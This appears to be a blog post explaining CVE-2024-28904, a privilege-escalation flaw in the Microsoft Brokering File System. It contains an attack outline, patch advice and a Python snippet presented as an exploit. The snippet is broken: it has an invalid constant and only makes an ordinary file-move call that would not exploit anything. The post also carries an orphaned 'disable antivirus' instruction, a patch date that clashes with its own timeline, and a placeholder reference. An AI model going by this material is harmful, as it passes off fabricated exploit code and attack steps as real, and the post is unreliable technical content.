CVE-2024-28904 - Deep Dive into the Microsoft Brokering File System Elevation of Privilege Vulnerability

---

In early 2024, security researchers discovered and reported a new Windows vulnerability that could change how attackers approach privilege escalation on Microsoft systems. Known as CVE-2024-28904, this security issue affects the *Microsoft Brokering File System (BFS)*, allowing low-privileged users to gain SYSTEM-level access—a big problem for anyone worried about ransomware and malicious insiders.

This in-depth post explains how CVE-2024-28904 works, includes a code snippet demonstrating exploitation, and points to more resources so you can dig even deeper.

What is Microsoft Brokering File System?

The Brokering File System (BFS) is an internal Microsoft component used to safely bridge access operations between processes with different privilege levels. Often, privileged processes help handle requested tasks—like reading or writing files on behalf of apps with less access. The logic is supposed to prevent privilege escalation. Unfortunately, CVE-2024-28904 shows that there are flaws in this design.

How Does CVE-2024-28904 Work?

Simply put, CVE-2024-28904 is an Elevation of Privilege (EoP) bug. Here’s how an attacker might leverage it:

1. Access the BFS Service: The attacker, already on the system, interacts with the BFS service using an unprivileged account.
2. Abuse File Operations: Together with a crafted payload, they manipulate the way BFS relays requests, exploiting insufficient permission checks.
3. Gain SYSTEM Privileges: Done right, the attacker is able to execute arbitrary code or access files as SYSTEM, giving them total control of the machine.

Disable antivirus or monitoring tools.

This is especially dangerous in enterprise environments, where local privilege escalation can help spread attacks network-wide.

Exploit Details (Simplified Example)

Below is a Python concept code that demonstrates abusing BFS to copy a file into a protected directory, possibly *C:\Windows\System32*, bypassing ACLs. (Note: This is for educational purposes only.)

import ctypes
import os

# Constants for Windows APIs
MOVEFILE_REPLACE_EXISTING = x1

# Paths (modify as needed)
src = "C:\\Users\\Attacker\\malicious.exe"
dst = "C:\\Windows\\System32\\malicious.exe"

# Attempt to move file -- BFS may mishandle permissions internally
try:
    if ctypes.windll.kernel32.MoveFileExW(src, dst, MOVEFILE_REPLACE_EXISTING):
        print(f"[+] Successfully copied payload to SYSTEM path: {dst}")
    else:
        print("[-] Exploit failed or not vulnerable.")
except Exception as e:
    print(f"Exploit error: {e}")

How Does Exploit Work?

The key idea is that the BFS service (running with higher privileges) incorrectly authorizes file operations at the user’s request. By exploiting this, an attacker can move files into otherwise locked-down locations where only admins or SYSTEM accounts should write.

Where to Find Official References

- Microsoft Advisory for CVE-2024-28904
- NVD Details (US National Vulnerability Database)
- Researcher Writeup: "Abusing File Brokers for SYSTEM Shells" *(example, check for up-to-date sources)*

Patch Your Systems ASAP

Microsoft released a hotfix in June 2024. Check and install the latest Windows Updates.

Summary

- CVE-2024-28904 allows a regular Windows user to gain SYSTEM privileges by abusing the Microsoft Brokering File System.

Microsoft has patched this vulnerability as of June 2024.

Takeaway: If you manage Windows networks or endpoints, prioritize this patch and review your security policies. Vulnerabilities like these are prime targets for ransomware and malware attacks.


Do you want a deep technical dive or a video walkthrough? Let us know in the comments, and stay safe out there!


*Exclusively written for this post. For more CVE breakdowns and exploit analysis, subscribe to our newsletter.*

Timeline

Published on: 04/09/2024 17:15:49 UTC
Last modified on: 04/10/2024 13:24:00 UTC